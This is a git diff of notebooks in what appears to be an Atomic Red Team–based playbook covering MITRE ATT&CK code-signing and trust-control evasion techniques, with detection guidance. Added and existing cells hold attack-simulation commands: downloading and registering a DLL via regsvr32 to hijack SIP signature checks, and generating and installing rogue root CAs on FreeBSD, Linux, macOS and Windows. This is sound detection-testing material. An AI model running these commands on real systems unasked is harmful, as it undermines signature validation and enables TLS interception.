legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n" }, { "cell_type": "markdown", - "id": "80f1e246", + "id": "fbbbde58", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "61062e85", + "id": "872635e9", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access)." }, { "cell_type": "markdown", - "id": "1071be71", + "id": "165e55a8", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nDefenders can look for anomalies in where an account is authenticating and what it is authenticating to in order to detect potentially malicious intent.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1553.001.ipynb b/playbook/tactics/defense-evasion/T1553.001.ipynb index c92e131a..cded062b 100644 --- a/playbook/tactics/defense-evasion/T1553.001.ipynb +++ b/playbook/tactics/defense-evasion/T1553.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "2c6238df", + "id": "982a9ba3", "metadata": {}, "source": "# T1553.001 - Gatekeeper Bypass\nAdversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)." }, { "cell_type": "markdown", - "id": "d6adb39e", + "id": "4a9b84ff", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "29193bc6", + "id": "d3449e85", "metadata": {}, "source": [ "### Atomic Test #1 - Gatekeeper Bypass", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "98fe23f9", + "id": "b55d2d15", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f8789498", + "id": "4ae2a31d", "metadata": {}, "source": "## Detection\nThe removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \n\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)" } @@ -43,13 +43,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1553.002.ipynb b/playbook/tactics/defense-evasion/T1553.002.ipynb index 062aae0c..bb550b57 100644 --- a/playbook/tactics/defense-evasion/T1553.002.ipynb +++ b/playbook/tactics/defense-evasion/T1553.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b1f332bb", + "id": "afe1555e", "metadata": {}, "source": "# T1553.002 - Code Signing\nAdversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. " }, { "cell_type": "markdown", - "id": "97226740", + "id": "47edec53", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "523a5ddd", + "id": "02ee12cb", "metadata": {}, "source": "## Detection\nCollect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1553.003.ipynb b/playbook/tactics/defense-evasion/T1553.003.ipynb index 54fa808f..f89cfa58 100644 --- a/playbook/tactics/defense-evasion/T1553.003.ipynb +++ b/playbook/tactics/defense-evasion/T1553.003.ipynb @@ -2,19 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "35552378", + "id": "04fee862", "metadata": {}, "source": "# T1553.003 - SIP and Trust Provider Hijacking\nAdversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)" }, { "cell_type": "markdown", - "id": "03961b23", + "id": "942cdc90", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "fef9616e", + "id": "51ba057f", + "metadata": {}, + "source": "### Atomic Test #1 - SIP (Subject Interface Package) Hijacking via Custom DLL\nRegisters a DLL that logs signature checks, mimicking SIP hijacking. This test uses a DLL from \nhttps://github.com/gtworek/PSBits/tree/master/SIP and registers it using regsvr32, thereby causing\nthe system to utilize it during signature checks, and logging said checks.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: GTSIPProvider.dll must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1553.003\\bin\\GTSIPProvider.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1553.003\\bin\\GTSIPProvider.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/gtworek/PSBits/raw/2aa885c7d09f7f100997bfa5ee0c404084177f24/SIP/GTSIPProvider.dll\" -OutFile \"PathToAtomicsFolder\\T1553.003\\bin\\GTSIPProvider.dll\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1a69e70f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1553.003 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "3ca1e39e", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nregsvr32.exe PathToAtomicsFolder\\T1553.003\\bin\\GTSIPProvider.dll\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a4bf7bd9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1553.003 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "ed3eeedb", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nregsvr32.exe /u PathToAtomicsFolder\\T1553.003\\bin\\GTSIPProvider.dll\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ef557f96", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1553.003 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5c440fc3", "metadata": {}, "source": "## Detection\nPeriodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)" } @@ -22,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1553.004.ipynb b/playbook/tactics/defense-evasion/T1553.004.ipynb index 88108109..71a70474 100644 --- a/playbook/tactics/defense-evasion/T1553.004.ipynb +++ b/playbook/tactics/defense-evasion/T1553.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "47195bda", + "id": "abcba722", "metadata": {}, "source": "# T1553.004 - Install Root Certificate\nAdversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)" }, { "cell_type": "markdown", - "id": "da403de7", + "id": "f26751a4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9e95647f", + "id": "f7141732", "metadata": {}, "source": [ "### Atomic Test #1 - Install root CA on CentOS/RHEL", @@ -28,42 +28,77 @@ { "cell_type": "code", "execution_count": null, - "id": "f3b269b1", + "id": "cbbb5616", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4e4253d4", + "id": "8fe40dcf", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /etc/pki/ca-trust/source/anchors/rootCA.crt\nupdate-ca-trust\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9194645d", + "id": "a719f2cc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6d7681d6", + "id": "e0b17d03", "metadata": {}, - "source": "### Atomic Test #2 - Install root CA on Debian/Ubuntu\nCreates a root CA with openssl\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Verify the certificate exists. It generates if not on disk.\n\n##### Check Prereq Commands:\n```sh\nif [ -f rootCA.crt ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ ! -f rootCA.key ]; then openssl genrsa -out rootCA.key 4096; fi;\nopenssl req -x509 -new -nodes -key rootCA.key -sha256 -days 365 -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\" -out rootCA.crt\n\n```" + "source": [ + "### Atomic Test #2 - Install root CA on FreeBSD", + "Creates a root CA with openssl\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nopenssl genrsa -out rootCA.key 4096\nopenssl req -x509 -new -nodes -key rootCA.key -sha256 -days 365 -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\" -out rootCA.crt\ncp rootCA.crt /usr/local/share/certs/\ncertctl rehash\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "477a43e1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "f7221254", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /usr/local/share/certs/rootCA.crt\ncertctl rehash\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "89e4f4a8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b39eed4b", + "metadata": {}, + "source": "### Atomic Test #3 - Install root CA on Debian/Ubuntu\nCreates a root CA with openssl\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Verify the certificate exists. It generates if not on disk.\n\n##### Check Prereq Commands:\n```sh\nif [ -f rootCA.crt ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ ! -f rootCA.key ]; then openssl genrsa -out rootCA.key 4096; fi;\nopenssl req -x509 -new -nodes -key rootCA.key -sha256 -days 365 -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\" -out rootCA.crt\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2e567d9e", + "id": "7850d748", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 2 -GetPreReqs" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7019c4ba", + "id": "4a1b4d8c", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -73,28 +108,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7a234440", + "id": "a3dc930a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 2" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "62f4c8a8", + "id": "75146f7d", "metadata": {}, - "source": "### Atomic Test #3 - Install root CA on macOS\nCreates a root CA with openssl\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Verify the certificate exists. It generates if not on disk.\n\n##### Check Prereq Commands:\n```sh\nif [ -f rootCA.crt ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ ! -f rootCA.key ]; then openssl genrsa -out rootCA.key 4096; fi;\nopenssl req -x509 -new -nodes -key rootCA.key -sha256 -days 365 -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\" -out rootCA.crt\n\n```" + "source": "### Atomic Test #4 - Install root CA on macOS\nCreates a root CA with openssl\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Verify the certificate exists. It generates if not on disk.\n\n##### Check Prereq Commands:\n```sh\nif [ -f rootCA.crt ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ ! -f rootCA.key ]; then openssl genrsa -out rootCA.key 4096; fi;\nopenssl req -x509 -new -nodes -key rootCA.key -sha256 -days 365 -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\" -out rootCA.crt\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "67830614", + "id": "f8af36be", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 3 -GetPreReqs" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "07e83d48", + "id": "00dfd698", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -104,28 +139,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5bcc0150", + "id": "1c0ef024", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 3" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "f688d4ae", + "id": "08dfdb00", "metadata": {}, - "source": "### Atomic Test #4 - Install root CA on Windows\nCreates a root CA with Powershell\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Verify the certificate exists. It generates if not on disk.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path rootCA.cer) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\n$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath rootCA.cer\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) | Remove-Item\n\n```" + "source": "### Atomic Test #5 - Install root CA on Windows\nCreates a root CA with Powershell\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Verify the certificate exists. It generates if not on disk.\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path rootCA.cer) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\n$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath rootCA.cer\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) | Remove-Item\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2bfdbb9f", + "id": "13d7e1df", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 4 -GetPreReqs" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9f0d901a", + "id": "37e64cb1", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -135,42 +170,42 @@ { "cell_type": "code", "execution_count": null, - "id": "288ec975", + "id": "3066c688", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 4" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "46ff752e", + "id": "8be3b401", "metadata": {}, "source": "#### Cleanup: \n```powershell\ntry {\n $cert = Import-Certificate -FilePath rootCA.cer -CertStoreLocation Cert:\\LocalMachine\\My -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n}\ncatch { }\n```" }, { "cell_type": "code", "execution_count": null, - "id": "25cc0252", + "id": "ca785e73", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "4267c7f3", + "id": "7b027f14", "metadata": {}, - "source": "### Atomic Test #5 - Install root CA on Windows with certutil\nCreates a root CA with certutil\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Certificate must exist at specified location (#{pfx_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:Temp\\rootCA2.cer) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\n$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath $env:Temp\\rootCA2.cer\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) | Remove-Item\n\n```" + "source": "### Atomic Test #6 - Install root CA on Windows with certutil\nCreates a root CA with certutil\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Certificate must exist at specified location (#{pfx_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:Temp\\rootCA2.cer) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\n$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath $env:Temp\\rootCA2.cer\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) | Remove-Item\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "992997a7", + "id": "5dad60f3", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 5 -GetPreReqs" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4bac724f", + "id": "9c5b2e7d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -180,31 +215,31 @@ { "cell_type": "code", "execution_count": null, - "id": "dbcbe767", + "id": "9b7ce8ca", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 5" + "source": 